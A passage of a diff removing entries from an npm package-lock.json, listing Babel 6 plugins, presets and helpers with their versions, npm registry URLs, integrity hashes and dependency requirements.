"babel-helper-remap-async-to-generator": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz", - "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", - "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helper-replace-supers": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz", - "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", - "dev": true, - "requires": { - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-helpers": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helpers/-/babel-helpers-6.24.1.tgz", - "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "babel-loader": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-7.1.5.tgz", - "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", - "dev": true, - "requires": { - "find-cache-dir": "^1.0.0", - "loader-utils": "^1.0.2", - "mkdirp": "^0.5.1" - } - }, - "babel-messages": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz", - "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-check-es2015-constants": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz", - "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-dynamic-import-node": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", - "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", - "dev": true, - "requires": { - "object.assign": "^4.1.0" - } - }, - "babel-plugin-syntax-async-functions": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-functions/-/babel-plugin-syntax-async-functions-6.13.0.tgz", - "integrity": "sha1-ytnK0RkbWtY0vzCuCHI5HgZHvpU=" - }, - "babel-plugin-syntax-async-generators": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-async-generators/-/babel-plugin-syntax-async-generators-6.13.0.tgz", - "integrity": "sha1-a8lj67FuzLrmuStZbrfzXDQqi5o=" - }, - "babel-plugin-syntax-class-properties": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-class-properties/-/babel-plugin-syntax-class-properties-6.13.0.tgz", - "integrity": "sha1-1+sjt5oxf4VDlixQW4J8fWysJ94=" - }, - "babel-plugin-syntax-decorators": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-decorators/-/babel-plugin-syntax-decorators-6.13.0.tgz", - "integrity": "sha1-MSVjtNvePMgGzuPkFszurd0RrAs=" - }, - "babel-plugin-syntax-dynamic-import": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-dynamic-import/-/babel-plugin-syntax-dynamic-import-6.18.0.tgz", - "integrity": "sha1-jWomIpyDdFqZgqRBBRVyyqF5sdo=" - }, - "babel-plugin-syntax-exponentiation-operator": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-exponentiation-operator/-/babel-plugin-syntax-exponentiation-operator-6.13.0.tgz", - "integrity": "sha1-nufoM3KQ2pUoggGmpX9BcDF4MN4=" - }, - "babel-plugin-syntax-flow": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-flow/-/babel-plugin-syntax-flow-6.18.0.tgz", - "integrity": "sha1-TDqyCiryaqIM0lmVw5jE63AxDI0=", - "dev": true - }, - "babel-plugin-syntax-jsx": { - "version": "6.18.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", - "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=", - "dev": true - }, - "babel-plugin-syntax-object-rest-spread": { - "version": "6.13.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz", - "integrity": "sha1-/WU28rzhODb/o6VFjEkDpZe7O/U=" - }, - "babel-plugin-syntax-trailing-function-commas": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz", - "integrity": "sha1-ugNgk3+NBuQBgKQ/4NVhb/9TLPM=" - }, - "babel-plugin-transform-async-generator-functions": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-generator-functions/-/babel-plugin-transform-async-generator-functions-6.24.1.tgz", - "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", - "requires": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-generators": "^6.5.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-async-to-generator": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-async-to-generator/-/babel-plugin-transform-async-to-generator-6.24.1.tgz", - "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", - "requires": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-functions": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-class-properties": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-class-properties/-/babel-plugin-transform-class-properties-6.24.1.tgz", - "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", - "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-plugin-syntax-class-properties": "^6.8.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "babel-plugin-transform-decorators": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-decorators/-/babel-plugin-transform-decorators-6.24.1.tgz", - "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", - "requires": { - "babel-helper-explode-class": "^6.24.1", - "babel-plugin-syntax-decorators": "^6.13.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-arrow-functions": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-arrow-functions/-/babel-plugin-transform-es2015-arrow-functions-6.22.0.tgz", - "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-block-scoped-functions": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoped-functions/-/babel-plugin-transform-es2015-block-scoped-functions-6.22.0.tgz", - "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-block-scoping": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-block-scoping/-/babel-plugin-transform-es2015-block-scoping-6.26.0.tgz", - "integrity": "sha1-1w9SmcEwjQXBL0Y4E7CgnnOxiV8=", - "dev": true, - "requires": { - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "lodash": "^4.17.4" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - } - } - }, - "babel-plugin-transform-es2015-classes": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-classes/-/babel-plugin-transform-es2015-classes-6.24.1.tgz", - "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", - "dev": true, - "requires": { - "babel-helper-define-map": "^6.24.1", - "babel-helper-function-name": "^6.24.1", - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-helper-replace-supers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-computed-properties": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-computed-properties/-/babel-plugin-transform-es2015-computed-properties-6.24.1.tgz", - "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-destructuring": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-destructuring/-/babel-plugin-transform-es2015-destructuring-6.23.0.tgz", - "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-duplicate-keys": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-duplicate-keys/-/babel-plugin-transform-es2015-duplicate-keys-6.24.1.tgz", - "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-for-of": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-for-of/-/babel-plugin-transform-es2015-for-of-6.23.0.tgz", - "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-function-name": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-function-name/-/babel-plugin-transform-es2015-function-name-6.24.1.tgz", - "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", - "dev": true, - "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-literals": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-literals/-/babel-plugin-transform-es2015-literals-6.22.0.tgz", - "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-modules-amd": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-amd/-/babel-plugin-transform-es2015-modules-amd-6.24.1.tgz", - "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", - "dev": true, - "requires": { - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-modules-commonjs": { - "version": "6.26.2", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-commonjs/-/babel-plugin-transform-es2015-modules-commonjs-6.26.2.tgz", - "integrity": "sha512-CV9ROOHEdrjcwhIaJNBGMBCodN+1cfkwtM1SbUHmvyy35KGT7fohbpOxkE2uLz1o6odKK2Ck/tz47z+VqQfi9Q==", - "dev": true, - "requires": { - "babel-plugin-transform-strict-mode": "^6.24.1", - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-types": "^6.26.0" - } - }, - "babel-plugin-transform-es2015-modules-systemjs": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-systemjs/-/babel-plugin-transform-es2015-modules-systemjs-6.24.1.tgz", - "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", - "dev": true, - "requires": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-modules-umd": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-modules-umd/-/babel-plugin-transform-es2015-modules-umd-6.24.1.tgz", - "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", - "dev": true, - "requires": { - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-object-super": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-object-super/-/babel-plugin-transform-es2015-object-super-6.24.1.tgz", - "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", - "dev": true, - "requires": { - "babel-helper-replace-supers": "^6.24.1", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-parameters": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-parameters/-/babel-plugin-transform-es2015-parameters-6.24.1.tgz", - "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", - "dev": true, - "requires": { - "babel-helper-call-delegate": "^6.24.1", - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-shorthand-properties": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-shorthand-properties/-/babel-plugin-transform-es2015-shorthand-properties-6.24.1.tgz", - "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-spread": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-spread/-/babel-plugin-transform-es2015-spread-6.22.0.tgz", - "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-sticky-regex": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-sticky-regex/-/babel-plugin-transform-es2015-sticky-regex-6.24.1.tgz", - "integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", - "dev": true, - "requires": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-plugin-transform-es2015-template-literals": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-template-literals/-/babel-plugin-transform-es2015-template-literals-6.22.0.tgz", - "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-typeof-symbol": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-typeof-symbol/-/babel-plugin-transform-es2015-typeof-symbol-6.23.0.tgz", - "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-es2015-unicode-regex": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-es2015-unicode-regex/-/babel-plugin-transform-es2015-unicode-regex-6.24.1.tgz", - "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", - "dev": true, - "requires": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "regexpu-core": "^2.0.0" - } - }, - "babel-plugin-transform-exponentiation-operator": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-exponentiation-operator/-/babel-plugin-transform-exponentiation-operator-6.24.1.tgz", - "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", - "requires": { - "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", - "babel-plugin-syntax-exponentiation-operator": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-flow-strip-types": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-flow-strip-types/-/babel-plugin-transform-flow-strip-types-6.22.0.tgz", - "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", - "dev": true, - "requires": { - "babel-plugin-syntax-flow": "^6.18.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-object-rest-spread": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz", - "integrity": "sha1-DzZpLVD+9rfi1LOsFHgTepY7ewY=", - "requires": { - "babel-plugin-syntax-object-rest-spread": "^6.8.0", - "babel-runtime": "^6.26.0" - } - }, - "babel-plugin-transform-react-display-name": { - "version": "6.25.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-display-name/-/babel-plugin-transform-react-display-name-6.25.0.tgz", - "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-react-jsx": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx/-/babel-plugin-transform-react-jsx-6.24.1.tgz", - "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", - "dev": true, - "requires": { - "babel-helper-builder-react-jsx": "^6.24.1", - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-react-jsx-self": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-self/-/babel-plugin-transform-react-jsx-self-6.22.0.tgz", - "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", - "dev": true, - "requires": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-react-jsx-source": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-jsx-source/-/babel-plugin-transform-react-jsx-source-6.22.0.tgz", - "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", - "dev": true, - "requires": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-regenerator": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-regenerator/-/babel-plugin-transform-regenerator-6.26.0.tgz", - "integrity": "sha1-4HA2lvveJ/Cj78rPi03KL3s6jy8=", - "dev": true, - "requires": { - "regenerator-transform": "^0.10.0" - } - }, - "babel-plugin-transform-runtime": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-runtime/-/babel-plugin-transform-runtime-6.23.0.tgz", - "integrity": "sha1-iEkNRGUC6puOfvsP4J7E2ZR5se4=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0" - } - }, - "babel-plugin-transform-strict-mode": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-plugin-transform-strict-mode/-/babel-plugin-transform-strict-mode-6.24.1.tgz", - "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", - "dev": true, - "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "babel-polyfill": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-polyfill/-/babel-polyfill-6.26.0.tgz", - "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", - "dev": true, - "requires": { - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "regenerator-runtime": "^0.10.5" - }, - "dependencies": { - "regenerator-runtime": { - "version": "0.10.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.10.5.tgz", - "integrity": "sha1-M2w+/BIgrc7dosn6tntaeVWjNlg=", - "dev": true - } - } - }, - "babel-preset-env": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/babel-preset-env/-/babel-preset-env-1.7.0.tgz", - "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", - "dev": true, - "requires": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-to-generator": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.23.0", - "babel-plugin-transform-es2015-classes": "^6.23.0", - "babel-plugin-transform-es2015-computed-properties": "^6.22.0", - "babel-plugin-transform-es2015-destructuring": "^6.23.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", - "babel-plugin-transform-es2015-for-of": "^6.23.0", - "babel-plugin-transform-es2015-function-name": "^6.22.0", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.22.0", - "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-umd": "^6.23.0", - "babel-plugin-transform-es2015-object-super": "^6.22.0", - "babel-plugin-transform-es2015-parameters": "^6.23.0", - "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", - "babel-plugin-transform-exponentiation-operator": "^6.22.0", - "babel-plugin-transform-regenerator": "^6.22.0", - "browserslist": "^3.2.6", - "invariant": "^2.2.2", - "semver": "^5.3.0" - } - }, - "babel-preset-es2015": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz", - "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", - "dev": true, - "requires": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.24.1", - "babel-plugin-transform-es2015-classes": "^6.24.1", - "babel-plugin-transform-es2015-computed-properties": "^6.24.1", - "babel-plugin-transform-es2015-destructuring": "^6.22.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1", - "babel-plugin-transform-es2015-for-of": "^6.22.0", - "babel-plugin-transform-es2015-function-name": "^6.24.1", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-umd": "^6.24.1", - "babel-plugin-transform-es2015-object-super": "^6.24.1", - "babel-plugin-transform-es2015-parameters": "^6.24.1", - "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", - "babel-plugin-transform-regenerator": "^6.24.1" - } - }, - "babel-preset-flow": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-preset-flow/-/babel-preset-flow-6.23.0.tgz", - "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", - "dev": true, - "requires": { - "babel-plugin-transform-flow-strip-types": "^6.22.0" - } - }, - "babel-preset-react": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-react/-/babel-preset-react-6.24.1.tgz", - "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", - "dev": true, - "requires": { - "babel-plugin-syntax-jsx": "^6.3.13", - "babel-plugin-transform-react-display-name": "^6.23.0", - "babel-plugin-transform-react-jsx": "^6.24.1", - "babel-plugin-transform-react-jsx-self": "^6.22.0", - "babel-plugin-transform-react-jsx-source": "^6.22.0", - "babel-preset-flow": "^6.23.0" - } - }, - "babel-preset-stage-2": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-stage-2/-/babel-preset-stage-2-6.24.1.tgz", - "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", - "requires": { - "babel-plugin-syntax-dynamic-import": "^6.18.0", - "babel-plugin-transform-class-properties": "^6.24.1", - "babel-plugin-transform-decorators": "^6.24.1", - "babel-preset-stage-3": "^6.24.1" - } - }, - "babel-preset-stage-3": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-preset-stage-3/-/babel-preset-stage-3-6.24.1.tgz", - "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", - "requires": { - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-generator-functions": "^6.24.1", - "babel-plugin-transform-async-to-generator": "^6.24.1", - "babel-plugin-transform-exponentiation-operator": "^6.24.1", - "babel-plugin-transform-object-rest-spread": "^6.22.0" - } - }, - "babel-register": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-register/-/babel-register-6.26.0.tgz", - "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", - "dev": true, - "requires": { - "babel-core": "^6.26.0", - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "home-or-tmp": "^2.0.0", - "lodash": "^4.17.4", - "mkdirp": "^0.5.1", - "source-map-support": "^0.4.15" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - } - } - }, - "babel-runtime": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", - "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", - "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" - } - }, - "babel-template": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-template/-/babel-template-6.26.0.tgz", - "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", - "requires": { - "babel-runtime": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "lodash": "^4.17.4" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - } - } - }, - "babel-traverse": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz", - "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", - "requires": { - "babel-code-frame": "^6.26.0", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "debug": "^2.6.8", - "globals": "^9.18.0", - "invariant": "^2.2.2", - "lodash": "^4.17.4" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" - } - } - }, - "babel-types": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", - "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", - "requires": { - "babel-runtime": "^6.26.0", - "esutils": "^2.0.2", - "lodash": "^4.17.4", - "to-fast-properties": "^1.0.3" - }, - "dependencies": { - "lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": 